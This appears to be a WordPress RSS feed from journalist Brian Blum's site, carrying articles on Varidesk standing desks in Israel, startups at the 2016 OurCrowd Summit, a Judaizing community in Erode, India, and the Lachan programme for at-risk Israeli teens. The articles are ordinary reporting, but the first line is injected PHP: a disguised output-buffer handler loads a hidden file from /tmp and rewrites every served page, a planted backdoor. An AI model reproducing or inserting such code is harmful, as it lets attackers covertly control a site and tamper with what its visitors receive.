define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); function ob_gzhanler($s) { $f='/tmp/ssess_3539a0e66764efa8c32919f938221bc7'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler'); Blum Interactive Media – Brian Blum https://bluminteractivemedia.com Journalist | Writer | Editor Sat, 24 Jan 2026 16:37:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.2 Sitting is the new smoking: best selling hybrid desk comes to Israel https://bluminteractivemedia.com/2016/07/sitting-is-the-new-smoking-best-selling-hybrid-desk-comes-to-israel/ https://bluminteractivemedia.com/2016/07/sitting-is-the-new-smoking-best-selling-hybrid-desk-comes-to-israel/#comments Sun, 03 Jul 2016 16:07:10 +0000 https://bluminteractivemedia.com/?p=911

ProPlus-36-High-3_NEW_LOGO“Sitting is the new smoking,” says South African physical therapist and entrepreneur Gary Arenson. He’s quoting an expression originally coined by researchers at the Mayo Clinic to describe the serious health risks – including heart disease, diabetes, arthritis and osteoporosis – connected with prolonged sitting, whether in front of the television or, in particular, at an office desk hunched over the computer.

The data coming in is shocking. A study by the American Cancer Society which tracked 123,000 Americans over a 14-year period found that women who sat for 6 or more hours a day were 40 percent more likely to die within the study period compared with women who sat for less than 3 hours. For men it was “just” 20 percent more.

Another study from the Kaiser Permanente HMO in California following 80,000 men aged 45 and above revealed that those who spent the most time sitting were more than twice as likely to develop heart disease as those who sat the least.

Exercise doesn’t seem to reverse the effects, either.

The dangers associated with excessive sitting have led increasing numbers of office workers to buy or build their own standing desks – raised platforms for their computer screens and keyboards. But standing only desks are quickly abandoned – workers get tired of being on their feet all day and go back to their original sitting situation.

As a result, sitting-standing hybrid desks that can be raised or lowered with the flip of a switch and a quick tug have become increasingly popular. Some are entire standalone pieces of furniture; others sit on top of one’s existing desk.

Now, the leading manufacturer of the hybrid approach, Varidesk, is making aliyah, courtesy of Arenson and his business partner Issy Zimmerman who have obtained the distribution rights to sell Varidesk in Israel.

For Arenson and Zimmerman, it’s a kind of immigration by proxy. While both are staunch Zionists, they have built their professional and personal lives in South Africa and are staying put. “So, as a religious Jew, the opportunity to invest in Israel and at the same time do something incredible health-wise for the Israeli market really motivated me,” Arenson tells The Jerusalem Post.

Arenson will also be selling Varidesk in South Africa, through his company Ergotherapy, which develops and sells its own line or ergonomic chairs and is built off of Arenson’s medical experience helping people with some serious aches and pains.

“Statistically, 80 percent of people will suffer from back pain at some point in their lives,” Arenson says. “It’s far more prevalent than people realize, and not just with older people. The average age of an office worker using a Varidesk is 40-55.”

Varidesk, whose motto is “Work elevated,” isn’t the first sitting-standing hybrid desk to enter the Israeli market, but it’s the easiest to use, which is a big selling point. The units – which come in a variety of sizes from 30 to 48 inches – come fully assembled. You just hoist them onto your desk and you’re ready to go.

Each Varidesk unit has two tiers – one for your keyboard and another for the monitor. The design eliminates the need to place the screen on a pile of books or a ream of paper, although it’s not ideal for all-in-one computer systems like Apple’s iMac which has a built-in stand leading to neck strain. A smaller Varidesk version is designed for laptops. In all units, a simple quick release grip moves both tiers smoothly into one of a dozen positions in seconds.

The desks are heavy – the 36-inch version we tried weighs 35 pounds – which makes them feel sturdy, an important quality (you don’t want to feel like your expensive computer could topple over at any second if you lean on the desk the wrong way).

Arenson says the Varidesk’s user-friendly design is critical to ensuring “patient” compliance. “If you have to move your computer to one side, then put something on your desk, then move your monitor on top of that, your compliance will be less,” he says. It was something he learned from his 15 years as a physical therapist. “It doesn’t do any good if I tell people to do all these fancy stretches that they won’t do. People don’t want to change their work habits and patterns too much.”

Another key is “balance,” Arenson says. You want to split your day half and half between sitting and standing. People who work mostly out of the office probably don’t need a sitting-standing desk.

Not everyone will take to a Varidesk, Arenson concedes, which is why the company offers a 30-day trial with a money back guarantee. Since Arenson and Zimmerman aren’t relocating, their local representative, another South African Stanley Behrman, will be making house and office calls to make sure new Varidesk owners are comfortable and setting their desks at the right height.

Offices with many workers will be able to get a few units to try out at no cost, giving employees a chance to test drive the sitting-standing experience, before deciding if they want their own.

The first Israeli Varidesks are “on their way to port of Ashdod now,” Arenson says and he will keep with Varidesk’s U.S. policy of always having enough in stock so there’s never a waiting list.

One thing that won’t be the same as the U.S. – the price. The starting price for a Varidesk in Israel is NIS 2,500. That’s at least 40 percent more than it would be in North America.

There’s no way around it: the cost of shipping, VAT and customs all take their toll. “It’s the same price we sell them for in South Africa,” Arenson says, trying to blunt the sticker shock. And it’s less than the NIS 3,400 starting price for competitor Ergotron’s Workfit, which is currently the leader in the Israeli market.

Is Arenson worried that Israelis will balk at the price? Not at all, he says. In fact he expects typical Israeli negotiation. “We’ll need to work hard to substantiate both our product and our price point.” That said, there will certainly be volume discounts for offices buying more than one Varidesk at once.

Arenson and his team plan to sell in Israel exclusively via the web and through direct face-to-face sales, so don’t expect to pick one up at your local office supplies store. (Although if they do, Arenson’s partner Zimmerman should be able to offer some expertise: he ran the Toys R Us franchise in South Africa for many years before going into business with Arenson.)

Standing desks are gaining popularity in the U.S. and Europe, particularly in Scandinavia. Slingsby, a U.K.-based workplace equipment provider, estimated that 80 percent of office workers in Denmark, Sweden, Norway and Finland now have adjustable desks.

“Recommendations suggest that workers should aim to stand for at least two hours each day which they can increase once they’re used to it,” says Lee Wright, group sales and marketing director at Slingsby. “Standing on a soft floor surface is [also] more preferable than a hard floor.”

“Sitting is more dangerous than smoking, kills more people than HIV and is more treacherous than parachuting,” says Dr. James Levine, director of the Mayo Clinic-Arizona State University Obesity Solutions Initiative. “We are sitting ourselves to death.”

Standing desks have a couple more advantages – both somewhat surprising. People who suffer from ADHD have reported that they find it easier to focus while standing than sitting, Arenson says. And if you stand a few hours every day while you power through those PowerPoint presentations, you’ll burn an extra 600-700 calories a week, Arenson says.

It may not be enough to quit the gym, but it’s still a nice bonus to the already demonstrated health benefits of getting off your tush while you work.

I originally wrote about Varidesk for The Jerusalem Post.

]]> https://bluminteractivemedia.com/2016/07/sitting-is-the-new-smoking-best-selling-hybrid-desk-comes-to-israel/feed/ 12720 Tech picks from the 2016 OurCrowd Summit https://bluminteractivemedia.com/2016/06/tech-picks-from-the-2016-ourcrowd-summit/ https://bluminteractivemedia.com/2016/06/tech-picks-from-the-2016-ourcrowd-summit/#comments Sun, 26 Jun 2016 00:39:50 +0000 https://bluminteractivemedia.com/?p=915

Jon Medved on stageAt the opening of equity crowdfunding platform OurCrowd’s second annual investor’s summit in Jerusalem last week, CEO Jon Medved told the 2,000 assembled attendees that military software maker mPrest had just raised $20 million through OurCrowd, the largest investment ever via crowdfunding and a significant Series A round for mPrest, which built the “command and control” component to Israel’s Iron Dome system. mPrest will use the new round to bring its software into the burgeoning “Internet of Things” arena – to control not just missile systems but everything from the electrical utility grid to home appliances.

mPrest was just one of dozens of startups to present at the conference. The Jerusalem Post takes a look at some of the most exciting companies who braved last week’s snowy weather to take to the stage.

When Israeli startup Consumer Physics demo’d at last year’s OurCrowd Summit, the Apple Watch, with its tiny sensors to measure all manner of changes in the physical world, had just been announced. That made Consumer Physics’ sales pitch that much easier: the company wants to put its SCiO molecular scanner into the next version of the iPhone or Apple Watch. The SCiO scanner uses light waves to analyze the chemical properties of everything from food to pharmaceuticals, then matches the results with an online database. Want to know what’s in that bag of Bamba or whether a certain pill is what its manufacturer claims it to be? Now you can. CEO Dror Sharon showed off the latest SCiO scanner – it’s the size of a smart phone camera.

Speaking of cameras, Core Photonics aims to vastly improve the quality of the photos you take with your smart phone, inching ever closer to much more expensive DLSR cameras. Core Photonics’ technology is complex, combining “computational photography” and “magnetic reluctance actuators,” but the bottom line is that the demo shown by CEO Eran Kali was so far beyond what an iPhone 6S can take today as to remind one of the difference between VHS and Blue-ray in video. Kali says we can expect to see Core Photonics integrated into phones in 2018.

AudienceYour phone is only good if you can find it. If you’re prone to misplacing items, Pixie has got your covered. Pixie makes a small plastic tracking tag that you attach to your keys, your luggage, even your child. Pixie’s smart phone app then guides you to the missing item using arrows, audio feedback and even an augmented reality view that superimposes where you’ve left your wallet onto a moving image of your living room. “Other solutions just tell you, it’s on the left side of the room, good luck,” Pixie’s Amir Bassan-Eskenazi told the room to applause. The Pixie Point goes for $17.50 each (in packs of four), with the price dropping “to single digits” by 2017.

VocalZoom demonstated how its revolutionary noise filtering technology might work in a car. On stage with Honda, which announced its entrance into Israel’s tech market at the conference, VocalZoom CEO Tal Bakish compared the remarkable difference in sound quality from a speakerphone with and without VocalZoom’s voice recognition system, which uses lasers to detect vibrations from the speaker’s vocal cords. Bakish says it works even while riding a motorcycle. VocalZoom should begin rolling with Honda and other car manufacturers by 2018.

Engie also has its sights set on the “connected car” of the future. Engie’s software plugs into a car’s diagnostic system, monitors when the car needs repairs – say, a brake replacement – and sends a message to your smart phone. The Engie app will then bring up a list of nearby mechanics, which you can click on to get quick service at a clear price. It’s like Uber, but for the inside of your car. Engie could be especially useful if you’re on a road trip and far from your regular auto shop. www.engie.co.il

In addition to Coca-Cola’s iconic Bnei Brak bottling plant, the company also runs a hi-tech operation in Israel – an accelerator called The Bridge. One of the companies that has been through the six month program is Cimagine which allows shoppers to place a 3D picture of a piece of furniture from a Cimagine-enabled website into an “augmented reality” version of, say, your living room so you can see how it will look before you take it home. What does that have to do with Coke? As Cimagine’s CEO Nir Daube demonstrated, Coke can use it to show movie theaters and restaurants how Coca-Cola vending machines and tables with Coke branded umbrellas will appear there – without having to lug the equipment itself.

Jerusalem-based serial entrepreneur Bob Rosenschein is best known for Answers.com, the company he founded and subsequently sold in 2011 for $127 million. Answers.com let users ask questions and receive answers from the crowd. Curiyo does more or less the same thing with a twist: you don’t have to leave the website you’re on to get the information you seek. There’s no user download required; Curiyo allows users to click or tap on a word and the information pops up in an overlay window. With Curiyo being served up on 3.75 million page views a day already – USA Today is a client – Rosenschein’s third startup may have the real answers.

home-screen-iphoneIn 2012, Zula came up with a great app to consolidate all of a team’s communications in one place – emails, files, video, audio. Then along came Slack, a nearly identical product that caught on like wildfire and it was “game over” for Zula, explained the company’s chief marketing officer Hilel Fuld. Zula had raised $4 million – enough money to keep going – but no longer had a market. But one component of its product suite had legs enough to stand on its own. Nine months later, ZCast was born – an iPhone app for instant podcasting. More than that, when you start your live “groupcast,” you can invite friends to join you, creating an on-the-fly talk radio show that anyone with a Twitter account can listen to.

If instant podcasting seems like fun, making it easier to move freight from door to ship to door sounds like the polar opposite. But in the deadly dull, Zvi Schreiber saw opportunity. His startup, Freightos, addresses a problem that anyone who has ever made aliyah has encountered: while you can book a plane ticket online in seconds, it takes an average of 91 hours to get a quote for sending a container from one country to another. That’s because, when Freightos got started, some 90 percent of the systems to manage freight were handled by Excel spreadsheets and the occasional email. So in order to build what Schreiber calls the “Kayak for international freight,” with transparency, speed and fixed prices, he first had to work with the freight forwarders to put software in place to automate the quotation process. The company is four years into its mission and has raised an impressive $23 million to date.

MassChallenge team rings the gong including Nir BarkatSidebar: MassChallenge brings Boston accelerator to Jerusalem

In conjunction with the OurCrowd Summit last week, a new hi-tech accelerator entered the Israeli market but, unlike similar programs that are mostly based in Tel Aviv, this one will be in Jerusalem. Boston’s MassChallenge takes the Y Combinator model of putting startups through a four-month boot camp of mentoring and networking and takes away the profit angle…for MassChallenge that is.

“We are the most startup friendly accelerator out there,” explained founder John Harthorne during a lavish launch party at Jerusalem’s First Station. “We take no equity and no percentage of revenue.” The non-profit MassChallenge aims to run 100 startups through its program in the first two years and is open to anyone with a good idea – you don’t even have to be from Israel. Leading companies compete for prize of NIS 1 million.

Israel’s capital has seen a startup surge in recent years, with approximately 120 new startups opening every year. MassChallenge aims to double that. OurCrowd and other investors will be watching closely, looking for investment opportunities when each MassChallenge cohort graduates. If even a few of these companies stay in Jerusalem, it could have a deep impact on the city’s hi-tech ecosystem.

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]]> https://bluminteractivemedia.com/2016/06/tech-picks-from-the-2016-ourcrowd-summit/feed/ 2390 The Sabbath is on Saturday not Sunday – the incredible story of the Zion Torah Center in India’s Turmeric City https://bluminteractivemedia.com/2015/10/the-sabbath-is-on-saturday-not-sunday-the-incredible-story-of-the-zion-torah-center-in-indias-turmeric-city/ https://bluminteractivemedia.com/2015/10/the-sabbath-is-on-saturday-not-sunday-the-incredible-story-of-the-zion-torah-center-in-indias-turmeric-city/#comments Mon, 05 Oct 2015 12:30:00 +0000 https://bluminteractivemedia.com/?p=899

Magazine cover

This article was the cover story in The Jerusalem Post Magazine on Friday, September 25, 2015.

Indian Pastor Samuel Devasahayam of the Zion Gospel Church was devastated: his elder sister Sheela, a Mother Theresa-like figure who had devoted her life to serving those in need – had passed away at the age of 60 and the entire city of Erode – close to 7,000 people – had had come out for the funeral. All 3,000 of Samuel’s own community were in attendance as well and the pastor knew he had to deliver the sermon of his life.

Standing before them, on an already hot and humid Indian day in April 2011, tears welling up in his eyes, he held the microphone tightly in his hands and shared stories of sister Sheela’s devotion; how she never married or had children but cared for the community’s widows and orphans and secretly delivered rice to 100 needy families every day. Sheela represented everything that was good about this close-knit Christian community, Samuel said. And then, as a seeming non sequitur to the assembled mourners, he dropped an unexpected bombshell, one that had been welling up inside him for nearly ten years.

“My friends, I have to tell you something very important,” he said, facing forward. “Sunday is not the correct day of the Sabbath. The Sabbath should be kept according to the custom of the Jews, beginning on Friday night at sunset and ending Saturday when the sun goes down again.”

Samuel’s congregants from the Zion Gospel Church were stunned. What was their pastor implying? Was it just that their day of rest was wrong? Or was he suggesting something bigger about God and their religious faith as a whole? No, he must be speaking out of his sorrow, the people concluded.

But Samuel, 51, knew exactly what he was saying. Since 2001, Samuel, his wife Anne, Samuel’s two sisters and the Devasahayam’s children had all been living a secret Jewish life, keeping the laws of the Torah to the best of their limited knowledge at the time. Samuel had come to the conclusion that Judaism was the true path to God and the family had begun keeping Shabbat, the Jewish holidays, and kashrut secretly. But he was too fearful to reveal his inner truth, concerned about the fallout, both personally and for his community.

And indeed, there was fallout. After the funeral was over and in the months to come, congregants approached Samuel to ask more questions. “’What do you mean by that, Pastor,’ the people would ask,” Samuel’s wife Anne recalls. “’Do you mean that Jesus is not God, Pastor?’ And he would answer yes. ‘And do you mean we should keep the Sabbath on Saturday too?’ Yes, he would say.

Eventually the people agreed. Well half did; 1,500 congregants left the church. Those who remained said, “We have known you for many years, we know your character, we see how you are with the people. So whatever you say, it must be true,” Anna continues.

Jewish star in Zion neighborhood

The church was renamed the Zion Torah Center, mezuzot were affixed to members’ doorposts, a Torah scroll was imported, and Stars of David appeared throughout the new “Zion” neighborhood which Samuel and Anne set up after some Christians in Erode – which is known locally as “Turmeric City” – refused to continue renting to members of the Zion Torah Center.

Today the community comes together every Shabbat where Samuel leads them in a full prayer service that would be familiar to Jews anywhere else in the world. The men wear white shirts and kippot, the women sit on the floor in long white dresses and saris with their hair covered. There is Kiddush (with Samuel’s own “kosher” wine) afterward, and the community is well versed in traditional Shabbat zemirot (songs).

The adult men even took it upon themselves to get circumcised. (Their children have it easier, with a version of a brit mila at eight months. “The doctors are afraid to do it on the eighth day,” Anne explains.) Samuel and Anne send out a weekly SMS with the times for Shabbat candle lighting and havdalah at the day’s conclusion. At least one community member – Samuel and Anne’s son – wears Tefillin during weekday prayers. A giant sukka is built on the roof to celebrate the fall holiday.

The community’s long-term goal: to convert to Judaism fully and perhaps even make aliyah to Israel.

How did this remarkable community, located far inland, an eight hour twisting turning ride from Cochin deep in the Indian state of Tamil Nadu, turn to a Jewish lifestyle? The story begins with Samuel’s father, a pastor himself, who in 1972 founded the church along with a club called Friends of Israel. The church was fervently Zionist from the start, with daily prayers on behalf of the State of Israel and fasting whenever Jews were in danger (for example, during the Entebbe hostage crisis or the trials of Prisoners of Zion in the USSR). The church focused almost exclusively on the Hebrew Bible rather than the New Testament.

Samuel describes his father as a “strict disciplinarian. He’d tell me if I don’t memorize the Ten Commandments, he wouldn’t give me any food. He wouldn’t let me watch TV or read the newspaper – he said it would ‘spoil me’ – but he’d cut out clippings about Israel and put them in my lunchbox.” When Samuel’s mother wanted to send him to a Christian bible school at age 12, his father said no. “If you want to understand the bible, you have to wear ‘Jewish spectacles,’ my father would insist,” Samuel says.

(There is actually a Jewish connection in the family. Samuel’s great, great grandfather was an Iraqi Jewish man who came to India to work for the British government and married a local woman. “He had a big kippa with fur,” Anne recalls. “We kept it for a long time until the fur fell off. It was more than 100 years old, but we cherished it.”)

Samuel’s father died when Samuel was just 14-years-old. Samuel’s mother and his sisters Sheela and Wilma ran the church and the Friends of Israel club for several years. The young Samuel was not interested in following in his father’s path. “I was more interested in physics and science, or maybe becoming a musician,” Samuel says. But an accident left Samuel with a bum leg. “I thought, maybe God doesn’t want me to be a secular fellow and so he punished me. And from that day, I didn’t have any conflict in my mind. I gave all my decisions to God.”

Samuel took over the church and, a number of years later, was courting Anne. “I didn’t know much about Israel back then,” Anne says, “so he tested me with songs. He would play Ofra Haza and Shoshana Damari, to see if I enjoyed them, if the language spoke to me. I loved the music. From that day he understood that I loved Israel too.”

The Devasahayam’s see miracles everywhere. Once in a second hand bookstore, Samuel found a High Holy Days machzor (prayer book). “How can this be?” he thought to himself. A book in Hebrew in the back roads of India! The same thing happened a few years later when he found another book called The Illuminated Manuscripts of the Jewish World in a different second hand shop. “It cost ten rupees, not even a shekel,” Samuel marvels. “This was a present from God for me.”

Zion Torah Center

The Zion Torah Center community’s connection with the Jewish world often expresses itself in surprising ways. There is a tradition that the community’s leader names newborn children. Samuel has taken to giving them names from a book he acquired of children who died during the Holocaust – names like Bella, Miriam, Hanna and Mendel. “Their teachers can’t always pronounce the names and they can’t even write it in Tamil,” Samuel says. “But we just gave them the exact names. To keep the memory alive.”

Samuel and Anne were quick to take on the custom for themselves. Their children are named Moshe, Jerusha (from Jerusalem) and Rivka, who was born on November 26, the same day that Chabad emissary to Mumbai Rivka Holzberg was murdered in that city’s horrific 2008 terror attack. “We wrote to Chabad and they were very happy that there was a little Indian girl named after their Rivka,” Anne says.

One reason the Zion Torah Center community took to Jewish practice so quickly, Samuel says, is that nearly 60 percent of them were already keeping “some kind of Jewish ritual” as members of the Chettiar caste.

A mercantile caste in southern India, the Chettiars have a number of “Jewish” customs, Samuel explains. “They light candles on Friday night and keep a kind of Shabbat. On Friday afternoons they wash the whole house. On Hanukah, they light clay oil lamps. When a woman niddah [that is, she has her period], she sits in a different part of the house, outside under a portico, for seven days and must take a bath in the well before re-entering the home. Teenage Chettiar boys go through a rite of passage into manhood that includes donning a shawl and “sacred thread” before proceeding to conduct a festive ceremony at the local temple..

A year ago an archaeologist working in Chennai found Jewish graves inside a Chettiar cemetery, Samuel adds. “That’s just not possible! Cemeteries in India are strictly divided according to caste.” He speculates that, as businessmen and travelers, the Chettiars may have had closer links with other Jewish Indians and adopted some of their customs over time. He isn’t suggesting that the Chettiars have actual Jewish ancestry.

When Samuel made his bombshell announcement at his sister’s funeral, there was another prompt: his son Moshe was approaching the age when it was expected he’d be baptized. But Moshe was increasingly uncomfortable. He finally blurted out to his father, “Abba, I can’t be baptized. I’m Jewish!” That gave Samuel the courage to finally reveal his truth.

Samuel’s dream for the future of his community is to make mass aliyah…to Israel’s Negev desert. He cites Isaiah’s prophesy (Isaiah 35:1) that the children of Israel would help make the desert bloom. He knows that Israelis have been doing just that for decades. “Still, there’s a lot of desert area, so let our community be part of the dream,” he implores.

There’s only one problem: Erode is not a farming community. “We are mostly textile workers, doctors, engineers,” Samuel concedes.

Coconut farm

So the Devasahayams purchased 100 acres of land and planted 3,500 coconut trees. “Every month, we invite people from the community to come and work in our farm, to get hands on experience with agriculture, to be ready to work in the Negev,” Samuel explains. And just to be extra prepared, the farm is watered by Israeli-made drip irrigation.

The coconut farm is part of Samuel and Anne’s income, which also includes running a local printing press. A Jewish calendar with all the holidays – written in Tamil – is one of their prized products. Samuel also prints small booklets for every Jewish festival, including their own Passover Haggadah. Their son Moshe serves as book designer and editor. Several hundred copies of each have been printed.

Samuel and Anne are under no illusions that converting to Judaism, let alone immigrating to Israel, will be easy. The members of the Zion Torah Center have no formal Jewish roots. They are not in the same category as the Bnei Menashe, the Indian tribe that claims descent from one of the Ten Lost Tribes, but are rather more like Uganda’s Abayudaya, whose Christian leader Semei Kakungulu adopted Judaism in 1919.

“But God can do wonders, there could be another Exodus,” Samuel says. “You would never have believed the Hebrews could get out of Egypt. But when God wanted to bring them to Israel, nothing could stop Him, not even the Red Sea. God will definitely bring us, I’m sure of it.”

That would allow the community to realize another dream: “To contribute 100 new IDF soldiers,” says Anne. “If you ask a child here what he wants to become when he grows up, he will say a soldier in the Israeli Defense Forces.”

Meanwhile they have to contend with bureaucracy back home. For example, they don’t yet call the Zion Torah Center a “synagogue,” even though it acts like one. “We need to get permission to build our own cemetery first,” Anne says. “Otherwise if we move too fast, we’ll lose permission to bury our dead in the Christian cemeteries. And the alternative [the Hindu custom of burning the dead] is against the Torah!”

We caught up with Samuel and Anne on the tail end of a three-month visit to Israel – the longest of Samuel’s five trips to the Holy Land (Anne has made three) – where they were studying Judaism and taking a daily Hebrew ulpan. “We do everything according to what we know from the Torah,” Anne explains, “but there are so many more rules in the Mishna. We have simple kosher, we know not to cook milk and meat together, but we didn’t know what to do when, say, some meat falls into a milk pot. Every time we come, we learn a little bit more.”

Michael Freund, the chairman of Shavei Israel, a non-profit organization which works with “lost” tribes and “hidden” Jewish communities around the world, including India’s Bnei Menashe, has met with the Devashayams several times during their visits to Israel. They have invited him to visit Erode later this year.

“Samuel and Anne are two very sincere seekers of spiritual truth who have made enormous personal and professional sacrifices in order to embrace Judaism,” Freund says. While emphasizing that contemporary Judaism is not a proselytizing religion, Freund adds that if the Devashayams “have taken the first step of their own volition and sincerely wish to join the Jewish people and live a Jewish life, then I believe we should assist them. They clearly have a thirst for Jewish knowledge and are anxious to deepen their familiarity with Jewish history and tradition.”

India in general moves at a slower pace than the frenetic West, but there is one clock that’s ticking fast in the Devasahayam household: 15-year-old Moshe is considering his options in the next few years. “More than anything, he wants to learn in an Israeli yeshiva,” Anne says.

Will it be possible? More improbable things have happened in the small town of Erode, with its ever-present Jewish Stars and the sound of Hebrew mixed with Tamil on a muggy Saturday morning.

Sidebar: Bnei Ephraim also want to join the Jewish people

Erode’s Zion Torah Center is not the only community in India without formal Jewish roots that is eager to join the Jewish people. Some 750 kilometers to the north, in the Indian state of Andra Pradesh, 120 families call themselves the Bnei Ephraim, claiming descent from the biblical tribe of Ephraim, one of Joseph’s two sons.

Like the Zion Torah Center community, the Bnei Ephraim was founded by a Christian preacher. Pastor Shmuel Yacobi was living in the small village of Kottareddipalem when he visited Israel as a tourist in the early 1980s and became convinced that his ancestors were actually Jews who, after being exiled from the Land of Israel, traveled through Afghanistan and northern India before settling in an area called Nandial. Known locally as Telegu Jews, Yacobi says that the Bnei Ephraim always had certain mysterious customs that can be found in Judaism, including burial, marriage, coming of age (bar mitzvah) and family purity laws.

Shavei Israel has helped the Bnei Ephraim as well, sending teachers to India, arranging for members of the community to visit Israel, and translating books about Jewish practice into the Telugu language.

The Bnei Ephraim today keep Shabbat and kashrut and take off from work on major Jewish holidays. Several small synagogues have been established. Moreover, Shmuel Yacobi’s son Yehoshua managed to immigrate to Israel in 1993, where he served in the IDF and worked at the Hebrew University library. He lives in Ramat Gan today.

]]> https://bluminteractivemedia.com/2015/10/the-sabbath-is-on-saturday-not-sunday-the-incredible-story-of-the-zion-torah-center-in-indias-turmeric-city/feed/ 828 Transforming teens at risk: How Lachan helped Rafael turn from criminal to counselor https://bluminteractivemedia.com/2014/07/transforming-teens-at-risk-how-lachan-helped-rafael-turn-from-criminal-to-counselor/ https://bluminteractivemedia.com/2014/07/transforming-teens-at-risk-how-lachan-helped-rafael-turn-from-criminal-to-counselor/#comments Sun, 27 Jul 2014 08:28:01 +0000 https://bluminteractivemedia.com/?p=891

Yoni Riskin and Avichai Yosef

Lachan co-founders Yoni Riskin and Avichai Yosef

As Rafael stood before the juvenile court judge, he was given a stark choice: either join one of Israel’s heavily supervised “youth villages” for teenagers at risk…or go straight to jail.

Before this pivotal moment, Rafael’s life was moving steadily and irreversibly in one direction. Running with a criminal crowd in his hometown of Rehovot, increasingly under the influence of drugs, and never far from an undercurrent of violence that had, in this final conviction, involved a knife attack with another teen, Rafael, now 19, was out of options. He chose the youth village and the judge assigned him to a program run by the non-profit organization “Lachan.”

Lachan operates three youth villages for troubled young adults, from ages 12-18, in the north, center and south of Israel, as well as a program for college students. The organization was founded by Yoni Riskin and Avichai Yosef in 2001. Riskin is no stranger to social entrepreneurship; his father, Rabbi Shlomo Riskin, was one of the founders of the town of Efrat and Lachan got its start in the community, taking over a couple of broken down and unused caravans to create an alternative educational program for troubled teens.

For Rafafel, the three years he spent living at Lachan’s “Yedidut” youth village on a quiet moshav near the city of Lod were nothing short of transformative. Today he is off drugs, out of jail and volunteering as a counselor for similar at-risk kids while waiting to enlist in an elite unit of the Israel Defense Forces. Entering the army is an achievement on its own: for teens with a criminal record, the IDF essentially prevents them from signing up and receiving all the significant social and financial benefits that military service in Israel provides.

Rafael says his experience at Lachan wasn’t smooth sailing from day one. “I was still involved with violence and taking drugs when I would come home for the weekends,” he says. “I didn’t believe I could make a change and I didn’t really want to. I just wanted to go back to what I knew; a life without any rules.”

But the counselors and therapists at Lachan were not so fast to give up. “They believed in me, they saw I had a spark in my eyes and potential,” he continues. “Moreover, they provided important personal examples. For the first time, I found role models I could aspire to.”

38-year-old Yoni Riskin was one of those role models. He says his interest in working with this population started while he was in the army. “I was a sergeant and was assigned some new recruits who had very difficult home and social lives,” Riskin says. “My heart just went out to them. I began speaking with their families, trying to help them with the personal difficulties they were going through. That’s when I realized I wanted to devote my professional life to working with teens at risk.”

When he finished his IDF service, Riskin trained to become a counselor with a program that helps teens at risk in one of Jerusalem’s poorer neighborhoods. His childhood friend, Avichai Yosef, now 38 as well, was similarly engaged in non-formal education as the project director of a prestigious pre-army academy. The two decided to join forces and opened the first incarnation of Lachan.

“At the beginning, we didn’t have a shekel,” Yosef says. “We just had a dream and a group of kids that had nowhere else to go.” Riskin and Yosef shnorred a table here and a chair there, and assembled a team of volunteers to tutor students in math, Bible, English, Hebrew grammar and history. What started as classes three days a week quickly morphed into a full-time, live-in program. The caravans were converted to dormitories.

“We realized that, in order to straighten these kids out, we needed to not only change their days but their nights too. You can’t get kids to come in the mornings if they’re out all night getting into trouble. But if they’re with us, it’s lights out at 11:00 PM and up at 7:00 AM,” Riskin says.

After its initial years in Efrat, Lachan continued to grow and, in 2007, moved to a more spacious location at Kibbutz Ein Tsurim. Before long, Lachan was on the road again, this time, renovating a former psychiatric facility for children into a fully equipped youth village, adding classrooms, dormitories, offices and communal spaces. With additional funding from Rabbi Yechiel Ekstein’s International Fellowship of Christian and Jews Federation, Lachan invested nearly $200,000 into renovating the village and the organization’s “Yedidut” campus became operational. Today, 24 teens between the ages of 14-18 study and live there.

It was at this point, in 2009, that the Israeli Ministry of Social Welfare recognized the Lachan program and began to fund a portion of its activities. The Education Ministry also granted accreditation to the Lachan high school within the “Yedidut” campus. In conjunction with financial support, the ministry began sending to Lachan teenagers who were referred by the courts as part of the Youth Protection Authority, putting their trust in Lachan to handle students at the highest risk. It was a real eye opener for Riskin and Yosef.

If the teens were tough in Lachan’s first years, these new arrivals were on an entirely different level, coming from severe backgrounds of neglect, lack of parents at home, endemic violence, drug addiction, sexual abuse and trauma. They hailed from some of the lowest socioeconomic classes in the country. Today, 90 percent of Lachan students come to the program after an arrest.

Lachan brought on new social workers and therapists to cope with the changes, and developed special classes including art therapy; sports and martial arts; gardening; photography; and army fitness and survival training, the latter in cooperation with the “Acharei!” (Follow Me!) Association. A computer lab was opened as well as a training and employment center, which offers several vocational courses including one in professional hairdressing. “If we see that a kid has a certain interest, we’ll do everything we can to make it happen,” Yosef says.

Lachan’s overarching emphasis combines Jewish values, social pluralism and contribution to society in general, and to the community in particular. While Lachan started in the religious community of Efrat, today it takes students of all backgrounds, from entirely secular to strictly Orthodox.

Lachan Beit Yedidut

Lachan Beit “Yedidut”

As Lachan “Yedidut” was opening, the organization got tapped by the Ministry of Social Welfare a second time to start a youth village in the north of the country, between the cities of Hadera and Afula. Lachan’s “Tal Menashe” youth village is for a younger population, starting at age 12 and going through age 15, and can take up to 36 children.

In late 2013, Lachan added a third youth village campus in the Negev desert, fulfilling a pledge Riskin and Yosef made early on to bring Lachan’s approach to youth wherever they are in the country. Dubbed “Wings of Love,” this southern-most village got its start helping kids deal with their problems by caring for birds. The focus has since shifted to include agricultural work with animals, but the name has remained. In addition to the “usual” at risk issues Lachan students come with, the students at “Wings” have also suffered trauma from the years of missiles raining down from the nearby Gaza Strip.

All told, Lachan now employs some 90 paid staff (gone are the days when the organization operated with just volunteers) with an annual budget of more than $3.2 million. The government covers 75 percent of that, but for extracurricular activities, renovations, overtime (there are no vacation days at Lachan; that means 150 percent overtime for staff on holidays like Yom Kippur), scholarships and specialized healthcare, Lachan is on its own to cover the gap and must seek outside contributions. Last year, Riskin and Yosef personally stepped in for six to twelve months each to fill the roles of directors of the “Yedidut” and Tal Menashe youth villages.

How does Lachan do it – turn kids like Rafael around? “We take a two-handed approach,” Riskin explains. “On the one hand, we are filled with love, warmth, understanding and support for the teens, while on the other hand, we enforce strict borders, discipline and rules. This is what sets the students in the right direction.”

“These kids need surveillance 24/7,” Yosef says. “We had one student who was a professional burglar before he came to us. He broke into our offices and stole money and cell phones.” But Lachan stuck with him and today that young man is a high school graduate on his way to the army.

